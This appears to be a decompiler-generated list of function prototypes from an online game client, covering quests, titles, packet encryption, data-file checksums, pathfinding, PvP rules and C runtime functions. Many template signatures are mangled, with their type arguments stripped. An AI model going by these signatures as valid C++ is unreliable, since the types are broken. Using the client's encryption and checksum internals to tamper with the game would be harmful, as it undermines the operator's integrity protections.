CCharacterTitle::IsUsableTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID); // int __stdcall DllMain(int, int, int); weak int __thiscall CCharacterTitle::AddView(CCharacterTitle *this, char Type, char ElementNo); int __thiscall CCharacterTitle::SetCurrentTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID, const char *pSpecialTitle); void __thiscall CCharacterTitle::Clear(CCharacterTitle *this); unsigned int __thiscall CCharacterTitle::GetMyTitleCount(CCharacterTitle *this); int __thiscall CCharacterTitle::SetTitleStatus(CCharacterTitle *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); void __thiscall CCharacterTitle::CCharacterTitle(CCharacterTitle *this, CCharacterTitleData *pCharacterTitleData); void __thiscall CQuest::_CQuest(CQuest *this); int __thiscall CQuest::InitQuestBF(CQuest *this, int NumOfQuest); void __thiscall CQuest::ClearQuest(CQuest *this); PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfo(CQuest *this, unsigned __int16 nID); PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfoByIndex(CQuest *this, int nIndex); int __thiscall CQuest::AddQuestInfo(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); void __thiscall CQuest::SetQuestInfoClearRepeat(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); void __thiscall CQuest::SetQuestClear(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestAccept(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestCancel(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestProgress(CQuest *this, unsigned __int16 nID, char ProgressStep); int __thiscall CQuest::SetQuestFailed(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestDone(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); int __thiscall CQuest::SetQuestAbort(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DOING_CMD *pQuestPlayerDoingData); int __thiscall CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DONE_CMD *pQuestPlayerDoneData); int __thiscall CQuest::Recv_NC_CHAR_QUEST_READ_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_READ_CMD *pQuestPlayerReadData); int __thiscall CQuest::Recv_NC_CHAR_QUEST_REPEAT_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_REPEAT_CMD *pQuestPlayerRepeatData); int __thiscall CQuest::QuestPlayer_LevelChange(CQuest *this, char nPlayerLevel); int __thiscall CQuest::IsQuestArea(CQuest *this, unsigned int CurrentX, unsigned int CurrentY, unsigned int QuestX, unsigned int QuestY, unsigned int QuestRange); int __thiscall CQuest::GetNumOfDoingQuest(CQuest *this); int __thiscall CQuest::IsQuestNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID); int __thiscall CQuest::IsConversationNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID); unsigned __int16 __thiscall CQuest::GetRewardNPC(CQuest *this, QUEST_DATA *lpQuestData); int __thiscall CQuest::IsSoonableQuest(CQuest *this, QUEST_DATA *lpQuestData); int __thiscall CQuest::IsDoingableQuest(CQuest *this, QUEST_DATA *lpQuestData); int __thiscall CQuest::IsDoingableQuest(CQuest *this, unsigned __int16 hQuestID); int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, unsigned __int16 hQuestID); void __thiscall CQuest::CQuest(CQuest *this, CQuestData *pQuestData); int __thiscall CQuest::SetQuestDone(CQuest *this, unsigned __int16 nID); PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, QUEST_DATA *lpQuestData); PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::IsDoingQuest(CQuest *this, unsigned __int16 hQuestID); PLAYER_QUEST_STATUS __thiscall CQuest::DoingQuestUpdateStatus(CQuest *this, int nIndex); int __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus, QUEST_DATA *lpQuestData, unsigned int uiMainCharLv, bool bQmark, bool bLowRepeat); int __thiscall CQuest::QuestPlayer_TakeItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot); int __thiscall CQuest::QuestPlayer_DestroyItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot); int __thiscall CQuest::QuestPlayer_CheckLocation(CQuest *this); int __thiscall CQuest::QuestPlayer_ScenarioDone(CQuest *this, unsigned __int16 nScenarioID); int __thiscall CQuest::QuestPlayer_RaceChange(CQuest *this, char nRace); int __thiscall CQuest::QuestPlayer_ClassChange(CQuest *this, char nClass); int __thiscall CQuest::QuestPlayer_TimeProcess(CQuest *this); void __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus); char *__thiscall PacketEncrypt::pe_FromClientToServer(PacketEncrypt *this, char *buf, int len); char *__thiscall PacketEncrypt::pe_FromServerToClient(PacketEncrypt *this, char *buf, int len); int __thiscall CShnDataFileCheckSum::__unnamed::__unnamed(int this); void __thiscall CShnDataFileCheckSum::_CShnDataFileCheckSum(CShnDataFileCheckSum *this); char __thiscall CShnDataFileCheckSum::InitDataFileCheckSum(CShnDataFileCheckSum *this, const char *FileName, Name8 nCheckSum); int __thiscall CShnDataFileCheckSum::DataFileCheck(CShnDataFileCheckSum *this, Name8 *Data); Name8 *__thiscall CShnDataFileCheckSum::GetDataFileCheckSum(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index); char __thiscall CShnDataFileCheckSum::isFileLoadAllComplete(CShnDataFileCheckSum *this); char *__thiscall CShnDataFileCheckSum::NotLoadFileName(CShnDataFileCheckSum *this); char *__thiscall CShnDataFileCheckSum::GetDataFileName(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index); void __thiscall CShnDataFileCheckSum::CShnDataFileCheckSum(CShnDataFileCheckSum *this); void __thiscall CChargedItem::CChargedItem(CChargedItem *this); void __thiscall CChargedItem::Clear(CChargedItem *this); int __thiscall CChargedItem::Add(CChargedItem *this, PROTO_CHARGED_ITEM_INFO *pInfo); PROTO_CHARGED_ITEM_INFO *__thiscall CChargedItem::Find(CChargedItem *this, unsigned int ItemOrderNo); void __thiscall CMD5Checksum::_CMD5Checksum(CMD5Checksum *this); void *__thiscall CMD5Checksum::_vector_deleting_destructor_(CMD5Checksum *this, unsigned int); void __thiscall CMD5Checksum::Transform(CMD5Checksum *this, char *Block); void __thiscall CMD5Checksum::Update(CMD5Checksum *this, char *Input, unsigned int nInputLen); std::basic_string,std::allocator > *__thiscall CMD5Checksum::Final(CMD5Checksum *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__cdecl CMD5Checksum::GetMD5(std::basic_string,std::allocator > *result, char *pBuf, unsigned int nLength); void __thiscall CFindWay::SetLoadedData(CFindWay *this, unsigned int uiRealOneSideDataSize, unsigned int uiOneSideBlockCnt, char *pBlockInfoByte); void __thiscall CFindWay::_CFindWay(CFindWay *this); int __thiscall CFindWay::LineIntersect(CFindWay *this); void __thiscall CFindWay::LenMapInit(CFindWay *this, int nSizeX, int nSizeY); void __thiscall CFindWay::LenMapClear(CFindWay *this); int __thiscall CFindWay::LenMapSet(CFindWay *this, int x, int y, unsigned __int16 value); int __thiscall CFindWay::SearchMoveable(CFindWay *this); void __thiscall CFindWay::FindWay(CFindWay *this); void __thiscall CFindWay::Init(CFindWay *this); void __thiscall CFindWay::CFindWay(CFindWay *this); unsigned int __cdecl ShineObjectHandleUnion::sohu_Initialize(); char __thiscall ShineObjectHandleUnion::sohu_HandleSplit(ShineObjectHandleUnion *this, unsigned __int16 *hnd); bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, char *pSource, int *pTarget); bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, int nSource, char *pTarget); bool __thiscall DiceTaiSai::get_PrizeWinningBet(DiceTaiSai *this, int nDiceVariety, DiceTaiSaiPrizeWinning *pPrizeWinningBet); void __thiscall DiceTaiSaiDividind::DiceTaiSaiDividind(DiceTaiSaiDividind *this); bool __thiscall DiceTaiSaiDividind::isInitFinishe(DiceTaiSaiDividind *this); bool __thiscall DiceTaiSaiDividind::Init(DiceTaiSaiDividind *this, DividendRate nDividind, unsigned __int16 nDividindRate); bool __thiscall DiceTaiSaiDividind::is_CanBettingMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, unsigned int nMaxBetMoney, unsigned int nBetMoney); unsigned int __thiscall DiceTaiSaiDividind::get_DividindMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum, unsigned int nBetMoney); unsigned __int16 __thiscall DiceTaiSaiDividind::get_DividendRate(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum); void __thiscall DiceTaiSai::Init(DiceTaiSai *this, int NoSumTriple); void __thiscall CPvPIdentify::PI_Init(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetFriend(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetWedding(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetHolyPromise(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetAcademy(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetParty(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetSameGuild(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetLevel(CPvPIdentify *this, char nAttLevel, char nDefLevel); void __thiscall CPvPIdentify::PI_SetIsInGuildWar(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetEnemyGuild(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetEnemyDisposition(CPvPIdentify *this); void __thiscall CPvPIdentify::PI_SetPKMode(CPvPIdentify *this); int __thiscall CPvPIdentify::PI_CanAttack(CPvPIdentify *this, PVPNoAttack *const pPvPData); void __thiscall CWeaponTitle::CWeaponTitle(CWeaponTitle *this); int __thiscall CWeaponTitle::Read(CWeaponTitle *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); unsigned int __thiscall CWeaponTitle::GetLevel(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount); WEAPON_TITLE_DATA *__thiscall CWeaponTitle::GetLevelData(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount, unsigned int *pLevel); void __thiscall CWeaponTitle::_CWeaponTitle(CWeaponTitle *this); bool __cdecl StrUtil::ConvertToNormalName(char *buf, const char *deletedCharName); QUEST_DATA *__thiscall CQuestData::GetQuestDataByIndex(CQuestData *this, unsigned int Index); std::list,std::allocator > >::iterator *__cdecl std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest); std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this); std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this, std::_List_nod,std::allocator > >::_Node *_Next, std::_List_nod,std::allocator > >::_Node *_Prev, std::pair *_Val); std::list,std::allocator > >::iterator *__thiscall stdext::_Hash>_std::allocator>_0>>::lower_bound(stdext::_Hash >,std::allocator >,0> > *this, std::list,std::allocator > >::iterator *result, const unsigned __int16 *_Keyval); int std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::erase(...); QUEST_DATA *__thiscall CQuestData::GetQuestData(CQuestData *this, unsigned __int16 QuestID); void __thiscall std::list_std::allocator>>::_Incsize(std::list,std::allocator > > *this, unsigned int _Count); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(std::vector,std::allocator > >::iterator,std::allocator,std::allocator_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Insert_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); // void __usercall _L85839(int a1); void __thiscall stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>(stdext::hash_multimap >,std::allocator > > *this); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator _Val); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); void __thiscall stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>(stdext::_Hash >,std::allocator >,1> > *this, stdext::hash_compare > *_Parg, std::allocator > *_Al); std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_1>>::insert(stdext::_Hash >,std::allocator >,1> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val); std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_0>>::insert(stdext::_Hash >,std::allocator >,0> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val); void __thiscall CQuestData::CQuestData(CQuestData *this, CDataReader *pQuestDialog); void __thiscall CQuestData::ClearBF(CQuestData *this); void __thiscall CQuestData::QuestData_HashDataIn(CQuestData *this); void __thiscall CQuestData::_CQuestData(CQuestData *this); int __thiscall CQuestData::ReadModeRead(CQuestData *this, const char *pFN); int __thiscall CQuestData::ReadModeEdit(CQuestData *this, const char *pFN); int __thiscall CQuestData::Read(CQuestData *this, const char *pFN, int bReadonly); void __thiscall CQuestParserScript::CQuestParserScript(CQuestParserScript *this); int __thiscall CQuestParserScript::IsDigitStr(CQuestParserScript *this, const char *pStr); const char *__thiscall CQuestParserScript::MarkGet(CQuestParserScript *this, const char *pMarkName); int __thiscall CQuestParserScript::MarkGo(CQuestParserScript *this, const char *pMarkName); void __thiscall CQuestParserScript::ParserClose(CQuestParserScript *this); int __thiscall CQuestParserScript::GetScriptVariableValue(CQuestParserScript *this, unsigned int *pValue, unsigned __int16 nQuestID, QUEST_SCRIPT_VARIABLE VarID, unsigned int Value); std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Max(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Min(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this); void __thiscall CQuestParserScript::_CQuestParserScript(CQuestParserScript *this); int __thiscall CQuestParserScript::MarkAdd(CQuestParserScript *this, const char *pMarkName, const char *pMarkPoint); void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this); std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this); std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lbound(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::basic_string,std::allocator > *_Keyval); std::basic_istream > *__thiscall std::basic_istream>::operator>>(std::basic_istream > *this, int *_Val); std::basic_istream > *__cdecl std::operator>>_std::allocator>(std::basic_istream > *_Istr, std::basic_string,std::allocator > *_Str); std::basic_istream > *__cdecl std::getline_std::allocator>(std::basic_istream > *_Istr, std::basic_string,std::allocator > *_Str, const char _Delim); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::find(...); bool __cdecl CQuestParserScript::GetIDbyIndex(std::basic_string,std::allocator > *rstrIndexName, int *rnID); int std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::_Node(...); std::pair,std::allocator >,int> *__cdecl std::make_pair_std::allocator>_int>(std::pair,std::allocator >,int> *result, std::basic_string,std::allocator > _Val1, int _Val2); STRUCT_QSC *__thiscall CQuestParserScript::ParserNext(CQuestParserScript *this); int __thiscall CQuestParserScript::CommandRun(CQuestParserScript *this, STRUCT_QSC *pCmd); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(...); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase(...); int __thiscall CQuestParserScript::ParserStart(CQuestParserScript *this, unsigned __int16 nQuestID, const char *pScript); void __thiscall std::basic_ifstream>::basic_ifstream>(std::basic_ifstream > *this); void __thiscall std::basic_ifstream>::_basic_ifstream>(std::basic_ifstream > *this); void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Insert(...); void __thiscall std::basic_ifstream>::_vbase_destructor(std::basic_ifstream > *this); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::insert(...); void *__thiscall std::basic_ifstream>::_vector_deleting_destructor_(std::basic_ifstream > *this, char a2); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase(...); bool __cdecl CQuestParserScript::LoadConvertIDfromIndexName(const char *pkFileName); void __thiscall std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::_map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>(std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *this); void __thiscall std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>(std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *this); void *__cdecl operator new__(unsigned int count); // void *__cdecl operator new(unsigned int size); void __thiscall std::_String_base::_Xran(std::_String_base *this); void __thiscall std::_String_base::_Xlen(std::_String_base *this); int __cdecl _Tolower_lk(int c, _Ctypevec *ploc); // _Ctypevec *__cdecl _Getctype(_Ctypevec *result); // int __cdecl _Tolower(int c, _Ctypevec *ploc); // _Cvtvec __cdecl _Getcvt(); // void __thiscall std::_Init_locks::_Init_locks(std::_Init_locks *this); // void __thiscall std::_Init_locks::__Init_locks(std::_Init_locks *this); // void __thiscall std::_Lockit::_Lockit(std::_Lockit *this, int kind); // void __thiscall std::_Lockit::__Lockit(std::_Lockit *this); // void __cdecl tidy_global(); idb void __cdecl _Setgloballocale(void *ptr); // std::locale::facet *__thiscall std::locale::_Getfacet(std::locale *this, unsigned int id); // void __thiscall std::locale::facet::_Register(std::locale::facet *this); // void __thiscall std::_Locinfo::__Locinfo(std::_Locinfo *this); // void __thiscall std::_Locinfo::_Locinfo(std::_Locinfo *this, const char *locname); // void __thiscall std::locale::locale(std::locale *this); // void __thiscall std::ios_base::_ios_base(std::ios_base *this); void __thiscall std::runtime_error::_runtime_error(std::runtime_error *this); void *__thiscall std::runtime_error::_vector_deleting_destructor_(std::runtime_error *this, unsigned int); void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::basic_string,std::allocator > *_Message); void *__thiscall std::ios_base::failure::_scalar_deleting_destructor_(std::ios_base::failure *this, unsigned int); void __thiscall std::ios_base::failure::_failure(std::ios_base::failure *this); // void __thiscall std::ios_base::clear(std::ios_base *this, int state, bool reraise); void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::runtime_error *__that); void __thiscall std::ios_base::failure::failure(std::ios_base::failure *this, std::ios_base::failure *__that); void __thiscall std::ios_base::_Init(std::ios_base *this); // void __thiscall std::_Mutex::_Mutex(std::_Mutex *this); // void __thiscall std::_Mutex::__Mutex(std::_Mutex *this); void __thiscall std::_Mutex::_Lock(std::_Mutex *this); void __thiscall std::_Mutex::_Unlock(std::_Mutex *this); // int __cdecl _Toupper(int c, _Ctypevec *ploc); bool __cdecl std::uncaught_exception(); // _iobuf *__cdecl std::_Fiopen(const char *filename, int mode, int __formal); // long double __cdecl _Stod(const char *s, char **endptr, int pten); long double __cdecl _Stold(const char *s, char **endptr, int pten); void __thiscall std::bad_alloc::_bad_alloc(std::bad_alloc *this); void *__thiscall std::bad_alloc::_vector_deleting_destructor_(std::bad_alloc *this, unsigned int); void __thiscall std::bad_alloc::bad_alloc(std::bad_alloc *this, std::bad_alloc *__that); void __cdecl _Mtxdst(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Mtxlock(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Mtxunlock(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Atexit(void (__cdecl *pf)()); // void __thiscall _Init_atexit::__Init_atexit(_Init_atexit *this); // void __cdecl qsort(void *base, unsigned int num, unsigned int width, int (__cdecl *comp)(const void *, const void *)); void __cdecl operator delete__(void *p); // void __stdcall _eh_vector_destructor_iterator_(void *ptr, unsigned int size, int count, void (__thiscall *pDtor)(void *)); // void __stdcall _eh_vector_constructor_iterator_(void *ptr, unsigned int size, int count, void (__thiscall *pCtor)(void *), void (__thiscall *pDtor)(void *)); // int __cdecl atexit(void (__cdecl *func)()); // int __cdecl sprintf(char *string, const char *format); // void __fastcall __security_check_cookie(unsigned int cookie); // int __cdecl fclose(_iobuf *stream); // _iobuf *__cdecl fopen(const char *file, const char *mode); void __cdecl operator delete(void *p); // void __cdecl memmove(char *dst, char *src, unsigned int count); // long double __cdecl difftime(int b, int a); // int __cdecl mktime(tm *tb); // void __stdcall _CxxThrowException(void *pExceptionObject, _s__ThrowInfo *pThrowInfo); void __thiscall exception::exception(exception *this); void __thiscall exception::exception(exception *this, const char *const *what); void __thiscall exception::exception(exception *this, exception *that); void __thiscall exception::_exception(exception *this); void __thiscall bad_cast::bad_cast(bad_cast *this, const char *_Message); void __thiscall bad_cast::bad_cast(bad_cast *this, bad_cast *that); void __thiscall bad_cast::_bad_cast(bad_cast *this); void *__thiscall exception::_vector_deleting_destructor_(exception *this, unsigned int); void *__thiscall bad_cast::_vector_deleting_destructor_(bad_cast *this, unsigned int); // void __thiscall type_info::_type_info(type_info *this); void *__thiscall type_info::_scalar_deleting_destructor_(type_info *this, unsigned int); // char *__cdecl strncpy(char *, const char *, size_t); // void *__cdecl bsearch(const void *key, const void *base, unsigned int num, unsigned int width, int (__cdecl *compare)(const void *, const void *)); // tm *__cdecl localtime(const int *ptime); int __cdecl fprintf(_iobuf *str, const char *format); // int __cdecl fputs(const char *string, _iobuf *stream); // int __cdecl flsall(int flushflag); // int __cdecl fflush(_iobuf *stream); int __cdecl _flushall(); // int __cdecl fputc(int ch, _iobuf *str); // int __cdecl atol(const char *nptr); int __cdecl atoi(const char *nptr); // int __cdecl sscanf(const char *string, const char *format); // char *__cdecl _mbsnbcpy(char *dst, const char *src, unsigned int cnt); // unsigned int __cdecl _fwrite_lk(const void *buffer, unsigned int size, unsigned int num, _iobuf *stream); unsigned int __cdecl fwrite(const void *buffer, unsigned int size, unsigned int count, _iobuf *stream); // unsigned int __cdecl _fread_lk(void *buffer, unsigned int size, unsigned int num, _iobuf *stream); unsigned int __cdecl fread(void *buffer, unsigned int size, unsigned int count, _iobuf *stream); // void __cdecl exit(int code); // void __cdecl _exit(int code); // int __cdecl time(int *timeptr); // __int64 __cdecl _time64(__int64 *timeptr); // void __cdecl srand(unsigned int seed); // int __cdecl rand(); // void __cdecl strncmp(char *first, char *last, unsigned int count); // int __cdecl rename(const char *oldname, const char *newname); // int __cdecl _mbscmp(const char *s1, const char *s2); // void *__cdecl malloc(unsigned int size); // int __cdecl _findclose(int hFile); // int __cdecl __timet_from_ft(_FILETIME *pft); int __cdecl _findfirst(const char *szWild, _finddata_t *pfd); int __cdecl _findnext(int hFile, _finddata_t *pfd); // int __cdecl _except_handler3(int, PVOID TargetFrame, int); idb // void __cdecl free(void *pBlock); // int __cdecl getc(_iobuf *stream); lconv *__cdecl localeconv(); // void *__cdecl memchr(const void *, int, size_t); // void __cdecl strcspn(char *string, char *control); // int __cdecl _stricmp(const char *dst, const char *src); // int __cdecl puts(const char *string); // int __cdecl _mbsncmp(const char *s1, const char *s2, unsigned int n); // int __cdecl fseek(_iobuf *stream, int offset, int whence); // tm *__cdecl _localtime64(const __int64 *ptime); // __int64 __usercall make__time64_t(tm *tb, int ultflag); __int64 __cdecl _mktime64(tm *tb); // char *__cdecl _mbstok(char *string, const char *sepset); // int __cdecl _putenv_lk(const char *option); int __cdecl _putenv(const char *option); // char *__cdecl _getenv_lk(const char *option); char *__cdecl getenv(const char *option); int __cdecl fscanf(_iobuf *stream, const char *format); int __cdecl _chdir(const char *path); // long double __cdecl atof(const char *nptr); // char *__cdecl strerror(int errnum); // int *__cdecl _errno(); // unsigned int *__cdecl __doserrno(); // void __cdecl _dosmaperr(unsigned int oserrno); // _iobuf *__cdecl freopen(const char *filename, const char *mode, _iobuf *str); // void __cdecl _lock_file(void *pf); // void __cdecl _lock_file2(int i, void *s); // void __cdecl _unlock_file(void *pf); // void __cdecl _unlock_file2(int i, void *s); // char *__cdecl strstr(const char *, const char *); void *__cdecl realloc(void *pBlock, unsigned int newsize); // int __cdecl toupper(int c); // int __cdecl isalpha(int c); // int __cdecl isupper(int c); // int __cdecl islower(int c); // int __cdecl isdigit(int c); // int __cdecl isxdigit(int c); // int __cdecl isspace(int c); // int __cdecl ispunct(int c); // int __cdecl isalnum(int c); // int __cdecl isgraph(int c); // int __cdecl iscntrl(int c); // void __cdecl strspn(char *string, char *control); // char *__cdecl strchr(const char *, int); // char *__cdecl fgets(char *string, int count, _iobuf *str); // void __cdecl abort(); // void __cdecl longjmp(jmp_buf, int); // _DWORD __cdecl _setjmp3(_DWORD, _DWORD); // IDpair *__usercall ___00002_0(_iobuf *pstream); _iobuf *__cdecl _popen(const char *cmdstring, const char *type); // int __cdecl _pclose(_iobuf *pstream); // char *__cdecl tmpnam(char *s); // _iobuf *__cdecl tmpfile(); // int __cdecl _ungetc_lk(int ch, _iobuf *str); // int __cdecl ungetc(int ch, _iobuf *stream); // void __cdecl clearerr(_iobuf *stream); // int __cdecl ftell(_iobuf *stream); // int __cdecl setvbuf(_iobuf *str, char *buffer, int type, unsigned int size); double __cdecl sinh(double); double disp1(); // weak double __cdecl cosh(double); double __cdecl tanh(double); int __thiscall _CIsinh(void *this); int idisp1(); // weak void __cdecl _CIcosh(); void __cdecl _CItanh(); // double __cdecl ceil(double); // double __cdecl floor(double); // double __usercall fFMOD(double a1, long double a2); // double __cdecl modf(double, double *); // long double __cdecl frexp(long double x, int *expptr); // long double __cdecl ldexp(long double x, int exp); // void __cdecl strrchr(char *string, char chr); // long double __cdecl strtod(const char *nptr, char **endptr); // void __cdecl strpbrk(char *string, char *control); int __cdecl system(const char *command); int __cdecl remove(const char *path); // int __cdecl clock(); // int __usercall expandtime(threadlocaleinfostruct *ptloci, char specifier, tm *timeptr, char **string, unsigned int *left, __lc_time_data *lc_time, unsigned int alternate_form); unsigned int __cdecl _Strftime_mt(threadlocaleinfostruct *ptloci, char *string, unsigned int maxsize, const char *format, tm *timeptr, void *lc_time_arg); // unsigned int __cdecl _Strftime(char *string, unsigned int maxsize, const char *format, tm *timeptr, void *lc_time_arg); unsigned int __cdecl strftime(char *string, unsigned int maxsize, const char *format, tm *timeptr); // tm *__cdecl gmtime(const int *timp); int __cdecl ___setlc_active_func(); int *__cdecl ___unguarded_readlc_active_add_func(); int __cdecl __init_collate(); // void __cdecl _strcats(char *outstr, int n); // int __cdecl __lc_strtolc(tagLC_STRINGS *names, const char *locale); // void __cdecl __lc_lctostr(char *locale, tagLC_STRINGS *names); char *__cdecl setlocale_get_all(); char *__cdecl _expandlocale(char *expr, char *output, tagLC_ID *id, unsigned int *cp, int category); // char *__usercall setlocale_set_cat(int category, const char *locale); // char *__usercall setlocale_lk(int _category, const char *_locale); // char *__cdecl setlocale(int _category, const char *_locale); 